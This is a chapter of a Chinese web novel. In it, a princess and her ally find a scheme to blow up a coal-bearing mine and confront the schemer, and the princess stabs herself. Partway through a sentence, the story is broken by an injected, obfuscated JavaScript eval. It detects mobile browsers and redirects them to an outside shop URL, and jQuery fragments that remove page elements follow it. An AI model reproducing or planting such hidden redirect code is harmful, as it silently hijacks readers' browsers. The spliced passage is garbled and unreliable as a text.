47.真正的目的

作品:《春台杀

    “机关?”


    卫安澜和柳遇同时反应过来。薛知宜既然在矿场布下如此大的手笔,信心十足地吸引他们来此,怎会想不到阻截外援呢?使用机关,既能达成目的,又不至于弄出过大的动静引来旁人。


    她可真是把每一步都算好了。


    一粒被灼烧得通红发亮的煤渣从熔炉中跳出,停在二人中间。在一片烟熏火燎的黑暗中,柳遇却十分轻松地笑出了声。


    “这下殿下赶不走我了。”


    卫安澜眉宇间掠过一抹黯然,倘若时光倒回,她方才定会再坚持一下。然而现在后悔已无用,既然退路被阻,便只有向前。


    可她对冶炼之术几乎一无所知,连熔炉的结构都不清楚,何谈破解阴谋呢?


    因空气中飘浮着烟灰,卫安澜不敢点火折,她想了想,捻开了短剑剑柄处的太阳花纹。一团荧蓝自掌中升起,堪堪照亮身边范围极小的地方,但对二人而言,这点光亮已经足够。


    “夜明珠?”


    “玹珠,一种可以发光的珍珠,皇兄送给我的。”


    卫安澜指尖擦拭过珍珠,一时不知该从何处入手,柳遇见状,接过短剑轻声道:“我来。”


    他借着微光检视一番,原本模糊的容颜更添了几分恍惚,“一般冶炼矿石是将玳铁矿和煤炭混合投入炉内,点燃下方的炭火维持燃烧,炉体温度便会升高。矿石融化后,金属部分和矿渣煤渣分层排出,即可进行下一步锻打加热。因此,熔炉至少要有铁口、渣口和风口三处开口,但……殿下看这里。”


    卫安澜微微躬身,待看清柳遇手指的位置时,额间不禁滑下一滴冷汗。


    添炭的炉膛被堵住,原本应该开放的铁口和渣口全都套上了皮囊,皮囊另一端连接的正是埋藏在地下的铁管。


    “不怕高温……这不像是普通的皮囊。”


    柳遇点了点头,解释道:“此物乃炉橐专用,因其材质有韧性不易破损,最初用于给熔炉吹风。不过经东汉一位官员改进,如今冶炼矿石多用水排。”


    所谓水排,便是利用流水之力,通过上下卧轮和连杆往复不断地向炉体鼓入空气,既节省人力,又能昼夜不歇,大大提高了冶炼的效率。


    光线过于昏暗,卫安澜使劲眯眼才得以看清熔炉的风口。如柳遇所言,水排持续鼓风,炉体把加热后的空气通过皮囊注入铁管,薛知宜俨然是把矿场都变作了熔炉的一部分。


    只是,她为何要费尽心机制造这么大的“熔炉”呢?


    猛烈的风将皮囊吹得一鼓一鼓,发出“嗡嗡”的声响。当余光瞥到到熔炉后方一处被照亮的山石时,卫安澜倏然变色,“玳铁矿难以单独成山,矿场地下是……易燃的煤炭……”


    饶是她经历过无数大风大浪,此刻的声音也不由得颤抖起来。卫安澜艰难地看向柳遇,柳遇顿觉一股寒气从脊背攀援而上,幽蓝的珠光在他的面具上遽然一晃。


    “所以,他们的目的……是炸掉矿山?”


    柳遇试探着道,连他自己都不敢相信这个疯狂的结论。柳遇迅速梳理了一遍已有的线索,很快,他的语速便恢复了正常。


    “不错,他们借助矿山特殊的地形把矿场分为了三层,最上面是正常冶炼的熔炉,中间是中空管道,最下方则是煤炭。管道必是通过阀门控制,只要关紧阀门,点燃引线,加热的空气迅速膨胀,管道便会爆炸,地面塌陷,矿山迸裂,而煤炭……”


    而煤炭暴露后,会在空气中持续燃烧且难以扑灭,此时玳铁矿的矿场,乃至方圆数里的土地都将化为一片焦土。若非卫安澜及时将采工迁出,后果不堪设想。


    薛知宜背后之人究竟是谁,为何会筹谋如此毒计?


    柳遇心神震荡,久久难以言语。思绪闪动,上次矿洞坍塌时卫安澜失魂落魄的模样悄然浮现,柳遇蓦地想到了一种可能。


    她本不允许任何人跟随,又十分明确地寻找火药一类的东西,仿佛早就知道这里会爆炸……


    明白了,他全都明白了。


    对方真正的目的是山河血字谱。


    只有这个诅咒才会让卫安澜有如此剧烈的反应,她欲言又止,是不愿让任何人窥视这个秘密,不给旁人留下对付她的把柄。


    这次爆炸注定会引发无数谣言。在凉人看来,玳铁矿坐镇南都龙脉,是无比金贵的象征。万一矿场出事,南都乃至整个大凉都会掀起一番动荡,届时卫安澜“祸国妖星”的罪名就彻底洗不清了。


    因此,她宁可拼上性命也要阻止玳铁矿出事,否则她即将面对的不光是薛知宜背后的势力,还有皇帝和臣民的背弃。


    柳遇有些失神地望着卫安澜,他震惊于她陷入的阴谋,折服于她身处危局的冷静,还有些许彼此心知肚明却都不愿点破的心疼。


    神明无道,君王无能,才会让一个女人背负王朝的兴衰毁誉!


    这日复一日,屠刀悬顶的煎熬,他不敢想她是怎样捱过来的。


    在后山和熔炉边停留许久,卫安澜的脸上沾了烟灰,发髻也有些松动,唯有一双瞳眸依旧坚定,在森幽的光晕里绽开明亮的光辉。


    柳遇靠近卫安澜,缓慢而温柔地将她鬓边的碎发捋至耳后,“殿下,你去找阀门吧,我来想办法让水排停下来。卧轮和连杆均非坚不可摧,没有空气,炉膛的火烧不了多久。”


    “不行。”卫安澜抬手指向连接熔炉的铁杆,“这个水排连着硫磺硝石和引线,全靠卧轮转动维系平衡,一旦卧轮停下,恐怕地下煤层就会立刻开始燃烧。熔炉所有开口都被封死,一样会爆炸。”


    她默了默,直直看入柳遇的眼睛,“薛知宜见不到我必不肯罢休,我怕是活不成了。抱歉,连累你了。”


    柳遇却笃定一笑,无声地牵住卫安澜的手,把所有深埋于胸的力量都倾注在她的掌心。


    “你不会死。”


    想要山河血字谱应验,卫安澜便不可能死。薛知宜已经进入矿场半个时辰了,可方才采工撤离时她依旧没有动手。既然她在等着卫安澜,他们就尚有扭转乾坤的机会。


    去见她,就能活。


    十指相绕,卫安澜心头重重一悸,惨淡的笑意逐渐染上了生动的颜色。她忽然在想,这一次,若能与他携手战胜神明,拯救黎庶,亦不失为人间乐事。


    若不能,至少他同自己一样,也是个不信神明的“异类”。


    卫安澜深吸一口气,头脑重新恢复了近乎冷酷的平静,她以毅然决然,不容置疑的口吻道:“既然这样,那就先找到阀门,我倒要看看没有密闭的管道会如何爆炸。”


    世上没有破不掉的机关,没有解不开的谜题。


    一定要停下这场“天灾”!


    山洞不算逼仄,然而在幽蓝的微光中,卫安澜和柳遇只能勉强看清周围的轮廓。沉默着走了大约半盏茶的时间,卫安澜蓦地停下脚步,对柳遇打了个手势。


    地上有一行簇新的脚印,看来薛知宜就在不远处。


    恰在此时,一个清冷的声音转过拐角,不偏不倚地飘入二人的耳朵。


    “长公主殿下,你终于来了。”


    见薛知宜肯现身,卫安澜和柳遇对视一眼,心中俱是松了一口气。她垂眸思索片刻,示意柳遇暂且止步,万一她无法劝服薛知宜,还需要柳遇相助。


    不料下一刻,薛知宜便似读懂了卫安澜心之所想一般,嗤笑道:“柳大人也进来吧,你又没看过地图,不熟悉山洞里的机关,万一不小心碰到了不该碰的东西,殿下立即就会粉身碎骨。你一定不想看着她惨死吧?”


    卫安澜眉间微蹙,薛知宜把话说到这个份上,她也只好让柳遇同行。转过石洞,二人的视线立即被高低呼应的火光填满,薛知宜正坐在一截铁管上方,纤长皎白的玉指间,尚未点燃的烟花上下翻飞。


    一贯清丽温婉的碧衣女子,此刻剥去了所有伪装,嘴角泛着妖异诡谲的笑容。


    洞里分明又闷又热,卫安澜还是忍不住打了个寒战,不过她见多了薛知宜这般拥有两张甚至数张面孔的人,因此也没有过于惊讶。


    只是一点点超出掌控的微澜而已,卫安澜面上依旧从容镇定。她在距离薛知宜十余步的地方站定,轻声唤道:“薛姑娘。”


    “事到如今,殿下就不必假惺惺地称呼我的名字了。”薛知宜随意摆弄着手里的烟花,嗓音冷漠又疏离,“在殿下心里,我难道不是一个心机深沉,虚情假意,视人命如草芥的骗子吗?”


    墙壁上的火把发出“噼啪”的爆响,卫安澜勾了勾唇,眉目淡淡。


    “如果你是指把我、左飞钺、严凭,甚至我舅父都耍得团团转,这是你的本事,我输得起,不会恼羞成怒。”


    她一边说着,一边不动声色地打量山洞里的情形,试图找出阻止矿场爆炸的方法。然而,环视一周,卫安澜心中升起的只有绝望。


    铁管的阀门就位于薛知宜身侧,眼下正“嗤嗤”地冒着热气。无论卫安澜和柳遇出手如何迅速——哪怕是立秋在此——薛知宜都能在被武器击中之前将烟花点燃投入铁管,山洞瞬间便会夷为平地。


    薛知宜并不看卫安澜,而是格外优雅地从左手边的陶罐中舀出一勺水,添进另一侧透明的琉璃缸中。卫安澜追随着她的动作望去,发现琉璃缸里已然半满,而就在缸口,一条粗长的棉绳悬挂其上,绳头浸泡在水下,如同干涸的土地正在贪婪地吸吮甘霖。


    卫安澜摸不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17403577|195704||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    清薛知宜的动机,便决定先稳住她,伺机而动。柳遇站在卫安澜身后,亦悄悄扶上她的手臂,安抚她不要着急。


    “不愧是殿下,输都输得如此坦然,真是令人敬佩。”薛知宜尖酸刻薄地抬眸,又看了看自己这身碧绿罗裙,抿唇笑道,“呵,花魁娘子又如何,表面风光而已,所有人还是把我当成卑贱的妓女,无依无靠,任人蹂躏。”


    她的神情冰冷如雪,然而眼中似有什么东西带着波澜不兴的疯狂,正欲死灰复燃,“左飞钺那个蠢货,被我撞破了通敌叛国的秘密竟不思灭口,我陪他睡了几次他便心满意足了。他迷恋我的身体,对我言听计从,甚至还让我代替贺晋出城交易……把这样的废物交给朝廷,应当能给你记一大功吧?”


    “严凭倒是个实诚人,就是智谋不足,看见我掉几滴眼泪就受不了了。其实我们的合作很愉快,他保我不受左飞钺为难,我给了他不少左飞钺的罪证。”


    说着,薛知宜抬起两根纤长的手指,在眼前一捏,又做成焰火绽放的手势,“可惜啊,人性总是经不起考验的。我只是用了一点小手段,他便心生疑虑,觉得你目的不纯。对尊贵的长公主殿下刀兵相向,想来他也难逃罪责吧?”


    薛知宜轻笑一声,又向琉璃缸里添了一勺水,深深地看向卫安澜和柳遇,“你们一定觉得我在炫耀,可我是实实在在地周旋于南都各方势力间,把一个个自命不凡的男人玩弄于股掌。难道这些不值得那些轻贱我的人高看一眼,不值得炫耀吗?”


    尖利的声音回荡在山洞里,被石壁上的火光熏出虚妄又迷离的暗影。


    卫安澜默然注视着薛知宜,眼底深幽的光芒逐渐柔软下来。其实她很理解薛知宜,她才貌双全却流落风尘,必然吃过常人难以想象的苦。若咒骂能消解她心头怨愤,兵不血刃地解决危机,卫安澜愿意当这个听众,愿意竭尽所能地帮帮她。


    “又是这种眼神……”薛知宜了然又厌恶地冷笑道,“你还真是和你舅父一样,那么宽厚,那么悲悯,像可怜快冻死的小猫小狗一样可怜我……打动你们实在是太容易了,太容易了……”


    “我没有可怜你,我一直都很敬佩你。”卫安澜温声道,“薛姑娘,无论如何,你帮我拿住了左飞钺和严凭的罪证,于社稷有大功。我可以帮你脱了乐籍,以后——”


    “别说了!”


    薛知宜的声音陡然凌厉起来,胸口不停地起伏,一直被压抑被控制的猛兽终冲出藩篱,吞噬了她的全部理智。


    “左飞钺严凭之流不过尔尔,就连你舅父陆桓也是个自作聪明,自以为能掌控我的蠢货,他们不配入我的眼。”薛知宜颤动的瞳仁里迸射出无边的怨毒和恨意,“我最恨的是你——卫冉,卫安澜!”


    她蓦地站起身,仿佛失去了耐心一般,直接抱起陶罐,将其中的液体尽数灌入琉璃缸。一股淡淡的异味混杂着松明子的芳香扑鼻而来,卫安澜呼吸一紧。


    无暇思考薛知宜为何会恨自己,方才那一瞬,卫安澜想明白了她的意图。


    “薛姑娘,你……”


    “才猜到?”


    薛知宜愉快地一扬手,陶罐撞在石壁上,登时四分五裂,“看来我们的长公主也不是无所不能啊,竟不知大半个南都地下都铺满了煤矿?”


    此话一出,连柳遇的表情也变了。他恍然意识到陶罐中装的不是水,而是油,那根棉绳正是连接地下煤层的引线,薛知宜一早就做好了引燃煤矿的准备。


    柳遇不自觉地上前一步挡住卫安澜,痛心道:“薛姑娘,你与殿下的恩怨明明可以私下解决,何必——”


    他倏地收口,觉出了蹊跷之处。倘若薛知宜只是一枚执行山河血字谱的棋子,她怎么可能让卫安澜丧命呢?卫安澜死了,后续的诅咒便无法应验了。


    她不该杀卫安澜,难道他们的判断还有偏差?


    薛知宜扬起下颌,疲惫的脸色遮掩不住发自内心的恶意,“本来在刚才——又或是早在二位第一次踏入矿场那天我就该动手了,但我善良,不想牵连旁人。”


    柳遇冷笑一声。引爆铁管,点燃煤炭,薛知宜哪里是不忍牵连无辜,她是要让南都子民为她的疯狂和仇恨陪葬啊!


    这时,沉默不言的卫安澜终于开口,“薛姑娘,你只是要我死,对吗?”


    薛知宜一挑眉,手中懒洋洋地掂着烟花,好似默认了她的话。卫安澜点点头,动作极轻地后退两步,方低声说了一句“好”。


    话已至此,柳遇哪还能猜不出卫安澜的心思,他大惊失色,忙回过身去拦她。


    “殿下,别——”


    然而卫安澜动作更快,她避开柳遇,左手挥起短剑,毫不犹豫地刺入自己的胸口。